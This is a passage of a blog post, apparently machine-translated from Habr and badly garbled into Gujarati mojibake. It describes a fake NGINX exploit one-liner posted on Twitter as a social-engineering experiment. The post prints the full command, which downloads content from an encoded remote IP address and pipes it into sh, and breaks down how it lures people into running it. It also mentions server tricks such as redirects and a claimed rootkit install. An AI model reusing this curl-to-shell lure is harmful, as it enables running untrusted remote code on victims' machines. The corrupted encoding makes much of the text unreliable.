เชจเซเซ
เชง. เช
เชจเซเชตเชพเชฆ:
TL;DR: เชเซเชเชชเชฃ เชธเชเชเซเชเซเชฎเชพเช sh เช
เชฅเชตเชพ bash เชฎเชพเช เชซเชพเชเชฒ เชชเชพเชเชชเชฒเชพเชเชจเชฟเชเชเชจเซ เชเชชเชฏเซเช เชเชฐเชถเซ เชจเชนเซเช. เชคเชฎเชพเชฐเชพ เชเชฎเซเชชเซเชฏเซเชเชฐ เชชเชฐเชจเซเช เชจเชฟเชฏเชเชคเซเชฐเชฃ เชเซเชฎเชพเชตเชตเชพเชจเซ เช เชเช เชธเชฐเชธ เชฐเซเชค เชเซ.
เชนเซเช เชคเชฎเชพเชฐเซ เชธเชพเชฅเซ 31เชฎเซ เชฎเซเชจเชพ เชฐเซเช เชฌเชจเชพเชตเชตเชพเชฎเชพเช เชเชตเซเชฒ เชเซเชฎเชฟเช PoC เชถเซเชทเชฃ เชตเชฟเชถเซเชจเซ เชเซเชเชเซ เชตเชพเชฐเซเชคเชพ เชถเซเชฐ เชเชฐเชตเชพ เชฎเชพเชเชเซ เชเซเช. เชจเชพ เชธเชฎเชพเชเชพเชฐเซเชจเชพ เชเชตเชพเชฌเชฎเชพเช เชคเซ เชคเชฐเชค เช เชฆเซเชเชพเชฏเซ
เชเชฐเซเชฒเชฎเชพเช เชจเชตเซ เช เชธเซเชชเชทเซเชเชคเชพ เชเซเชเชจเชฟเช เชชเชฐ เชเชพเชฎ เชเชฐเชตเชพเชจเซเช เชธเชฎเชพเชชเซเชค เชเชฐเซเชฏเชพ เชชเชเซ, เชฎเซเช เชฎเซเชณ เชเซเชตเซเชเชจเซ เชเชพเชเชเซเชฏเซเช เช เชจเซ "เชเช เชตเชฐเซเชเชฟเชเช เชชเซเชเชธเซ เชฒเซเช เชเชฐเซเชฏเซเช" เชเซเชฎเชพเช เชเซเชกเชจเซ เชเช เชฒเซเชเซเชจเซ เชธเชฎเชพเชตเซเชถ เชฅเชพเชฏ เชเซ เชเซ เชถเซเชงเชพเชฏเซเชฒ เชจเชฌเชณเชพเชเชจเซเช เชถเซเชทเชฃ เชเชฐเซ เชเซ. เช เชฒเชฌเชคเซเชค, เช เชธเชเชชเซเชฐเซเชฃ เชจเซเชจเชธเซเชจเซเชธ เชนเชคเซ. เชฎเซเช เชงเชพเชฐเซเชฏเซเช เชนเชคเซเช เชเซ เชนเซเช เชคเชฐเชค เช เชเซเชฒเซเชฒเชพ เชฅเช เชเชเชถ, เช เชจเซ เชถเซเชฐเซเชทเซเช เชฐเซเชคเซ เชฎเชจเซ เชฌเซ เชฐเชฟเชเซเชตเซเช เชฎเชณเชถเซ (เชเชน เชธเชพเชฐเซเช).
เชเซ เชเซ, เชชเชเซ เชถเซเช เชฅเชฏเซเช เชคเซเชจเซ เชนเซเช เชเชฒเซเชชเชจเชพ เชเชฐเซ เชถเชเชคเซ เชจเชฅเซ. เชฎเชพเชฐเชพ เชเซเชตเชฟเชเชจเซ เชฒเซเชเชชเซเชฐเชฟเชฏเชคเชพ เชเชธเชฎเชพเชจเซ เชชเชนเซเชเชเซ เชเช เชเซ. เชเชถเซเชเชฐเซเชฏเชเชจเช เชฐเซเชคเซ, เช เชเซเชทเชฃเซ (15:00 เชฎเซเชธเซเชเซ เชธเชฎเชฏ เชเซเชจ 1) เชฅเซเชกเชพ เชฒเซเชเซเชจเซ เชธเชฎเชเชพเชฏเซเช เชเซ เชเซ เช เชจเชเชฒเซ เชเซ. เชเชฃเชพ เชฒเซเชเซ เชคเซเชจเซ เชฌเชฟเชฒเชเซเชฒ เชคเชชเชพเชธเซเชฏเชพ เชตเชฟเชจเชพ เชฐเซเชเซเชตเซเช เชเชฐเซ เชเซ (เชคเซเชจเชพ เชธเซเชเชฆเชฐ ASCII เชเซเชฐเชพเชซเชฟเชเซเชธเชจเซ เชชเซเชฐเชถเชเชธเชพ เชเชฐเชตเชพ เชฆเซ).
เชเชฐเชพ เชเซเช เชเซ เชคเซ เชเซเชเชฒเซเช เชธเซเชเชฆเชฐ เชเซ!
เชเซเชฏเชพเชฐเซ เช เชคเชฎเชพเชฎ เชฒเซเชชเซเชธ เช เชจเซ เชฐเชเชเซ เชฎเชนเชพเชจ เชเซ, เชคเซ เชธเซเชชเชทเซเช เชเซ เชเซ เชฒเซเชเซเช เชคเซเชฎเชจเซ เชเซเชตเชพ เชฎเชพเชเซ เชคเซเชฎเชจเชพ เชฎเชถเซเชจ เชชเชฐ เชเซเชก เชเชฒเชพเชตเชตเชพเชจเซ เชนเชคเซ. เชธเชฆเชญเชพเชเซเชฏเซ, เชฌเซเชฐเชพเชเชเชฐเซเชธ เช เช เชฐเซเชคเซ เชเชพเชฐเซเชฏ เชเชฐเซ เชเซ, เช เชจเซ เช เชนเชเซเชเชค เชธเชพเชฅเซ เชเซ เชนเซเช เชเชฐเซเชเชฐ เชเชพเชจเซเชจเซ เชฎเซเชถเซเชเซเชฒเซเชฎเชพเช เชเชตเชตเชพ เชฎเชพเชเชเชคเซ เชจ เชนเชคเซ, เชฎเชพเชฐเซ เชธเชพเชเชเชฎเชพเช เชฆเชซเชจเชพเชตเชตเชพเชฎเชพเช เชเชตเซเชฒ เชเซเชก เชเซเชเชชเชฃ เชตเชงเชพเชฐเชพเชจเชพ เชเซเชกเชจเซ เชเชจเซเชธเซเชเซเชฒ เช เชฅเชตเชพ เชเชเซเชเชฟเชเซเชฏเซเช เชเชฐเชตเชพเชจเซ เชชเซเชฐเชฏเชพเชธ เชเชฐเซเชฏเชพ เชตเชฟเชจเชพ เชฎเชพเชคเซเชฐ เชเชเซ เชเซเชฒ เชเชฐเซ เชฐเชนเซเชฏเซ เชนเชคเซ.
เชจเชพเชจเซเช เชตเชฟเชทเชฏเชพเชเชคเชฐ:
curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost
เชธเชพเชฎเชพเชเชฟเช-เชเชฒเซเชเซเชเซเชฐเซเชจเชฟเช เชเชจเซเชเชฟเชจเชฟเชฏเชฐเชฟเชเช (SEE) - เชฎเชพเชคเซเชฐ เชซเชฟเชถเชฟเชเช เชเชฐเชคเชพเช เชตเชงเซ
เชธเชฒเชพเชฎเชคเซ เช เชจเซ เชชเชฐเชฟเชเชฟเชคเชคเชพ เช เชชเซเชฐเชฏเซเชเชจเซ เชฎเซเชเซเชฏ เชญเชพเช เชนเชคเซ. เชฎเชจเซ เชฒเชพเชเซ เชเซ เชเซ เชคเซเช เช เชคเซเชฎเชจเซ เชธเชซเชณเชคเชพ เชคเชฐเชซ เชฆเซเชฐเซ เชเชฏเชพ. เชเชฆเซเชถ เชตเชพเชเซเชฏ เชธเซเชชเชทเซเชเชชเชฃเซ "127.0.0.1" (เชเชพเชฃเซเชคเชพ เชฒเซเชเชฒเชนเซเชธเซเช) เชจเซ เชเชฒเซเชฒเซเช เชเชฐเซเชจเซ เชธเซเชฐเชเซเชทเชพเชจเซ เชธเซเชเชฟเชค เชเชฐเซ เชเซ. เชฒเซเชเชฒเชนเซเชธเซเช เชธเซเชฐเชเซเชทเชฟเชค เชฎเชพเชจเชตเชพเชฎเชพเช เชเชตเซ เชเซ เช เชจเซ เชคเซเชจเชพ เชชเชฐเชจเซ เชกเซเชเชพ เชคเชฎเชพเชฐเชพ เชเชฎเซเชชเซเชฏเซเชเชฐเชจเซ เชเซเชฏเชพเชฐเซเชฏ เชเซเชกเชคเซ เชจเชฅเซ.
เชชเชฐเชฟเชเชฏ เช เชชเซเชฐเชฏเซเชเชจเซ เชฌเซเชเซ เชฎเซเชเซเชฏ SEE เชเชเช เชนเชคเซ. เชฒเชเซเชทเซเชฏ เชชเซเชฐเซเชเซเชทเชเซเชฎเชพเช เชฎเซเชเซเชฏเชคเซเชตเซ เชเซเชฎเซเชชเซเชฏเซเชเชฐ เชธเซเชฐเชเซเชทเชพเชจเซ เชฎเซเชณเชญเซเชค เชฌเชพเชฌเชคเซเชฅเซ เชชเชฐเชฟเชเชฟเชค เชฒเซเชเซเชจเซ เชธเชฎเชพเชตเซเชถ เชฅเชคเซ เชนเซเชตเชพเชฅเซ, เชเซเชก เชฌเชจเชพเชตเชตเซ เชฎเชนเชคเซเชตเชชเซเชฐเซเชฃ เชนเชคเซ เชเซเชฅเซ เชคเซเชจเชพ เชญเชพเชเซ เชชเชฐเชฟเชเชฟเชค เช เชจเซ เชชเชฐเชฟเชเชฟเชค เชฒเชพเชเซ (เช เชจเซ เชคเซเชฅเซ เชธเชฒเชพเชฎเชค). เชเซเชจเชพ เชถเซเชทเชฃเชจเซ เชตเชฟเชญเชพเชตเชจเชพเชเชจเชพ เชคเชคเซเชตเซ เชเชเซเชจเชพ เชฒเซเชตเชพ เช เชจเซ เชคเซเชฎเชจเซ เช เชธเชพเชฎเชพเชจเซเชฏ เชฐเซเชคเซ เชเซเชกเชตเชพเชจเซเช เชเซเชฌ เช เชธเชซเชณ เชธเชพเชฌเชฟเชค เชฅเชฏเซเช เชเซ.
เชจเซเชเซ เชตเชจ-เชฒเชพเชเชจเชฐเชจเซเช เชตเชฟเชเชคเชตเชพเชฐ เชตเชฟเชถเซเชฒเซเชทเชฃ เชเซ. เช เชธเซเชเชฟเชฎเชพเชเชจเซ เชฆเชฐเซเช เชตเชธเซเชคเซ เชชเชนเซเชฐเซ เชเซ เชเซเชธเซเชฎเซเชเชฟเช เชชเซเชฐเชเซเชคเชฟ, เช เชจเซ เชคเซเชจเซ เชตเชพเชธเซเชคเชตเชฟเช เชเชพเชฎเชเซเชฐเซ เชฎเชพเชเซ เชตเซเชฏเชตเชนเชพเชฐเซเช เชฐเซเชคเซ เชเชเชเชชเชฃ เชเชฐเซเชฐเซ เชจเชฅเซ.
เชเชฏเชพ เชเชเชเซ เชเชฐเซเชเชฐ เชเชฐเซเชฐเซ เชเซ? เช -gsS
, -O 0x0238f06a
, |sh
เช
เชจเซ เชตเซเชฌ เชธเชฐเซเชตเชฐ เชชเซเชคเซ. เชตเซเชฌ เชธเชฐเซเชตเชฐเชฎเชพเช เชเซเช เชฆเซเชทเชฟเชค เชธเซเชเชจเชพเช เชจเชฅเซ, เชชเชฐเชเชคเซ เชเชฆเซเชถเซเชจเซ เชเชชเชฏเซเช เชเชฐเซเชจเซ เชซเชเซเชค ASCII เชเซเชฐเชพเชซเชฟเชเซเชธ เชธเซเชตเชพ เชเชชเซ เชเซ echo
เชฎเชพเช เชธเชฎเชพเชฏเซเชฒ เชธเซเชเซเชฐเชฟเชชเซเชเชฎเชพเช index.html
. เชเซเชฏเชพเชฐเซ เชตเชชเชฐเชพเชถเชเชฐเซเชคเชพเช เชธเชพเชฅเซ เชฒเชพเชเชจ เชฆเชพเชเชฒ เชเชฐเซ |sh
เชตเชเซเชเซ, index.html
เชฒเซเชก เช
เชจเซ เชเชฒเชพเชตเชตเชพเชฎเชพเช เชเชตเซ เชเซ. เชธเชฆเชจเชธเซเชฌเซ, เชตเซเชฌ เชธเชฐเซเชตเชฐเชจเชพ เชเชธเซเชเซเชกเชฟเชฏเชจเชจเซ เชเซเช เชเชฐเชพเชฌ เชเชฐเชพเชฆเซ เชจเชนเซเชคเซ.
-
../../../%00
โ เชจเชฟเชฐเซเชฆเซเชถเชฟเชเชพเชจเซ เชฌเชนเชพเชฐ เชเชเชจเซ เชฐเชเซ เชเชฐเซ เชเซ; -
ngx_stream_module.so
โ เชฐเซเชจเซเชกเชฎ NGINX เชฎเซเชกเซเชฏเซเชฒเชจเซ เชฎเชพเชฐเซเช; -
/bin/sh%00<'protocol:TCP'
- เช เชฎเซ เชฎเชพเชจเชตเชพเชฎเชพเช เชเชตเซ เชเซ เชฒเซเชจเซเช เชเชฐเซ เชฐเชนเซเชฏเชพ เชเซเช/bin/sh
เชฒเชเซเชทเซเชฏ เชฎเชถเซเชจ เชชเชฐ เช เชจเซ เชเชเชเชชเซเชเชจเซ TCP เชเซเชจเชฒ เชชเชฐ เชฐเซเชกเชพเชฏเชฐเซเชเซเช เชเชฐเซ; -
-O 0x0238f06a#PLToffset
- เชเซเชชเซเชค เชเชเช, เชชเซเชฐเช#PLToffset
, PLT เชฎเชพเช เชธเชฎเชพเชฏเซเชฒ เชฎเซเชฎเชฐเซ เชเชซเชธเซเช เชเซเชตเซ เชฆเซเชเชพเชต; -
|sh;
- เชฌเซเชเซ เชฎเชนเชคเซเชตเชชเซเชฐเซเชฃ เชญเชพเช. เชชเชฐ เชธเซเชฅเชฟเชค เชนเซเชฎเชฒเชพเชเซเชฐ เชตเซเชฌ เชธเชฐเซเชตเชฐเชฎเชพเชเชฅเซ เชเชตเชคเชพ เชเซเชกเชจเซ เชเชเซเชเชฟเชเซเชฏเซเช เชเชฐเชตเชพ เชฎเชพเชเซ เช เชฎเชจเซ เชเชเชเชชเซเชเชจเซ sh/bash เชชเชฐ เชฐเซเชกเชพเชฏเชฐเซเชเซเช เชเชฐเชตเชพเชจเซ เชเชฐเซเชฐ เชเซ.0x0238f06a
(2.56.240.x
); -
nc /dev/tcp/localhost
- เชเช เชกเชฎเซ เชเซเชฎเชพเช เชจเซเชเชเซเชเชจเซ เชเชฒเซเชฒเซเช เชฅเชพเชฏ เชเซ/dev/tcp/localhost
เชเซเชฅเซ เชฌเชงเซเช เชซเชฐเซเชฅเซ เชธเซเชฐเชเซเชทเชฟเชค เชฆเซเชเชพเชฏ. เชนเชเซเชเชคเชฎเชพเช, เชคเซ เชเชเช เชเชฐเชคเซเช เชจเชฅเซ เช เชจเซ เชธเซเชเชฆเชฐเชคเชพ เชฎเชพเชเซ เชฒเชพเชเชจเชฎเชพเช เชถเชพเชฎเซเชฒ เชเซ.
เช เชเช-เชฒเชพเชเชจ เชธเซเชเซเชฐเชฟเชชเซเชเชจเชพ เชกเซเชเซเชกเชฟเชเช เช เชจเซ "เชธเชพเชฎเชพเชเชฟเช-เชเชฒเซเชเซเชเซเชฐเซเชจเชฟเช เชเชจเซเชเชฟเชจเชฟเชฏเชฐเชฟเชเช" (เชเชเชฟเชฒ เชซเชฟเชถเชฟเชเช) เชจเชพ เชชเชพเชธเชพเชเชจเซ เชเชฐเซเชเชพเชจเซ เชธเชฎเชพเชชเซเชค เชเชฐเซ เชเซ.
เชตเซเชฌ เชธเชฐเซเชตเชฐ เชเชจเซเชซเชฟเชเชฐเซเชถเชจ เช เชจเซ เชเชพเชเชจเซเชเชฐเชฎเซเชเชฐเซเชธ
เชฎเชพเชฐเชพ เชฎเซเชเชพเชญเชพเชเชจเชพ เชธเชฌเซเชธเซเชเซเชฐเชพเชเชฌเชฐเซเชธ เชเชจเซเชซเซเชธเซเช/เชนเซเชเชฐเซเชธ เชนเซเชตเชพเชฅเซ, เชฎเซเช เชตเซเชฌ เชธเชฐเซเชตเชฐเชจเซ เชคเซเชฎเชจเชพ เชคเชฐเชซเชฅเซ "เชฐเซเชเชฟ" เชจเชพ เช เชญเชฟเชตเซเชฏเชเซเชคเชฟเช เชฎเชพเชเซ เชฅเซเชกเซเช เชตเชงเซ เชชเซเชฐเชคเชฟเชฐเซเชงเช เชฌเชจเชพเชตเชตเชพเชจเซเช เชจเชเซเชเซ เชเชฐเซเชฏเซเช, เชเซเชฅเซ เชเซเชเชฐเชพเช เชชเชพเชธเซ เชเชเชเช เชเชฐเชตเชพเชจเซเช เชนเซเชฏ (เช เชจเซ เชคเซ เชเชจเชเชฆเชฆเชพเชฏเช เชนเชถเซ. เชธเซเชฅเชพเชชเชจเชพ). เชนเซเช เช เชนเซเช เชคเชฎเชพเชฎ เชเซเชทเชคเชฟเชเชจเซ เชธเซเชเชฟเชฌเชฆเซเชง เชเชฐเชตเชพเชจเซ เชจเชฅเซ เชเชพเชฐเชฃ เชเซ เชชเซเชฐเชฏเซเช เชนเชเซ เชเชพเชฒเซ เชเซ, เชชเชฐเชเชคเซ เช เชนเซเช เชเซเชเชฒเซเช เชฌเชพเชฌเชคเซ เชเซ เชเซ เชธเชฐเซเชตเชฐ เชเชฐเซ เชเซ:
- เช เชฎเซเช เชธเชพเชฎเชพเชเชฟเช เชจเซเชเชตเชฐเซเชเซเชธ เชชเชฐ เชตเชฟเชคเชฐเชฃเชจเชพ เชชเซเชฐเชฏเชพเชธเซเชจเซเช เชธเชเซเชฐเชฟเชฏเชชเชฃเซ เชจเชฟเชฐเซเชเซเชทเชฃ เชเชฐเซ เชเซ เช เชจเซ เชตเชชเชฐเชพเชถเชเชฐเซเชคเชพเชจเซ เชฒเชฟเชเช เชชเชฐ เชเซเชฒเชฟเช เชเชฐเชตเชพ เชฎเชพเชเซ เชชเซเชฐเซเชคเซเชธเชพเชนเชฟเชค เชเชฐเชตเชพ เชฎเชพเชเซ เชตเชฟเชตเชฟเชง เชชเซเชฐเซเชตเชพเชตเชฒเซเชเชจ เชฅเชเชฌเชจเซเชฒเซเชธเชจเซ เชฌเชฆเชฒเซ เชเซ.
- เชถเซเชฒ เชธเซเชเซเชฐเชฟเชชเซเช เชฌเชคเชพเชตเชตเชพเชจเซ เชฌเชฆเชฒเซ Chrome/Mozilla/Safari/etc เชจเซ Thugcrowd เชชเซเชฐเชฎเซเชถเชจเชฒ เชตเชฟเชกเชฟเชฏเซ เชชเชฐ เชฐเซเชกเชพเชฏเชฐเซเชเซเช เชเชฐเซ เชเซ.
- เชเซเชธเชฃเชเซเชฐเซ/เชจเชฟเชทเซเชเซเชฐเชฟเชฏ เชนเซเชเชฟเชเชเชจเชพ เชธเซเชชเชทเซเช เชธเชเชเซเชคเซ เชฎเชพเชเซ เชเซเช เชเซ, เช เชจเซ เชชเชเซ NSA เชธเชฐเซเชตเชฐเซเชธ เชชเชฐ เชตเชฟเชจเชเชคเซเช เชฐเซเชกเชพเชฏเชฐเซเชเซเช เชเชฐเชตเชพเชจเซเช เชถเชฐเซ เชเชฐเซ เชเซ (ha!).
- เชเช เชเซเชฐเซเชเชจ, เชคเซเชฎเช BIOS เชฐเซเชเชเชฟเช, เชฌเชงเชพ เชเชฎเซเชชเซเชฏเซเชเชฐเซเชธ เชชเชฐ เชเชจเซเชธเซเชเซเชฒ เชเชฐเซ เชเซ เชเซ เชเซเชจเชพ เชตเชชเชฐเชพเชถเชเชฐเซเชคเชพเช เชจเชฟเชฏเชฎเชฟเชค เชฌเซเชฐเชพเชเชเชฐเชฅเซ เชนเซเชธเซเชเชจเซ เชฎเซเชฒเชพเชเชพเชค เชฒเซ เชเซ (เชฎเชพเชคเซเชฐ เชฎเชเชพเช เชเชฐเซ เชฐเชนเซเชฏเชพ เชเซ!).
เชเชจเซเชเชฟเชฎเชฐเชจเซ เชเช เชจเชพเชจเซ เชญเชพเช
เช เชเชฟเชธเซเชธเชพเชฎเชพเช, เชฎเชพเชฐเซ เชเชเชฎเชพเชคเซเชฐ เชงเซเชฏเซเชฏ เช เชชเชพเชเซเชจเซ เชเซเชเชฒเซเช เชตเชฟเชถเซเชทเชคเชพเชเชจเซ เชฎเชพเชธเซเชเชฐ เชเชฐเชตเชพเชจเซ เชนเชคเซ - เชเชพเชธ เชเชฐเซเชจเซ, เชตเชฟเชจเชเชคเซเชเชจเซ เชฐเซเชกเชพเชฏเชฐเซเชเซเช เชเชฐเชตเชพ เชฎเชพเชเซเชจเชพ เชธเชฐเชธ เชจเชฟเชฏเชฎเซ - เช เชจเซ เชฎเซเช เชตเชฟเชเชพเชฐเซเชฏเซเช: เชถเชพ เชฎเชพเชเซ เชจเชนเซเช?
NGINX เชถเซเชทเชฃ (เชตเชพเชธเซเชคเชตเชฟเช!)
เชธเชฌเซเชธเซเชเซเชฐเชพเชเชฌ เชเชฐเซ
เชธเซเชฐเซเชธ: www.habr.com